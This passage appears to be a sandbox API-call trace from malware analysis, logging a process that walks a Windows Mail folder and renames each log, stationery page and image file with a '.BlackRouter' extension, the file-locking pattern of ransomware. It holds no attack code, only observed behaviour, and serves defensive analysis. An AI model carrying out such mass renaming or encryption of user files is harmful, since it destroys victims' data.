ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd00c0390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200010)) returned 1 [0069.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log.blackrouter")) returned 1 [0069.880] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x200000 [0070.141] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), fInfoLevelId=0x0, lpFileInformation=0x1ae460 | out: lpFileInformation=0x1ae460*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0510b70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x200010)) returned 1 [0070.141] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log.blackrouter")) returned 1 [0070.166] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xff [0070.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd055ce30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0070.169] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.blackrouter")) returned 1 [0070.171] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xe7 [0070.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd055ce30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.183] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.blackrouter")) returned 1 [0070.184] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xed [0070.187] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0582f90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.187] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.blackrouter")) returned 1 [0070.188] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xeb [0070.191] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05a90f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.192] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.blackrouter")) returned 1 [0070.193] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xed [0070.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05a90f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.blackrouter")) returned 1 [0070.198] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xe8 [0070.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05a90f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.202] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.blackrouter")) returned 1 [0070.203] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xe9 [0070.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05cf250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.blackrouter")) returned 1 [0070.207] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xed [0070.210] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05cf250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.210] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.blackrouter")) returned 1 [0070.211] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xe8 [0070.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05cf250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.blackrouter")) returned 1 [0070.217] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xe6 [0070.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd05cf250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0070.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.blackrouter")) returned 1 [0070.238] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x432 [0070.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd061b510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x440)) returned 1 [0070.250] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.blackrouter")) returned 1 [0070.251] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x5d3f [0070.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0641670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5d40)) returned 1 [0070.266] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.blackrouter")) returned 1 [0070.267] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x1906 [0070.280] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd06677d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1910)) returned 1 [0070.280] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.blackrouter")) returned 1 [0070.281] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x107e [0070.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd068d930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1080)) returned 1 [0070.287] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.blackrouter")) returned 1 [0070.288] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x18ed [0070.299] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd06b3a90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x18f0)) returned 1 [0070.299] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.blackrouter")) returned 1 [0070.300] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x13fb [0070.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd06d9bf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1 [0070.315] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.blackrouter")) returned 1 [0070.317] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x780 [0070.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae500 | out: lpFileInformation=0x1ae500*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd06d9bf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1 [0070.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.blackrouter")) returned 1 [0070.331] GetFileSize (in: hFile=0x15c, 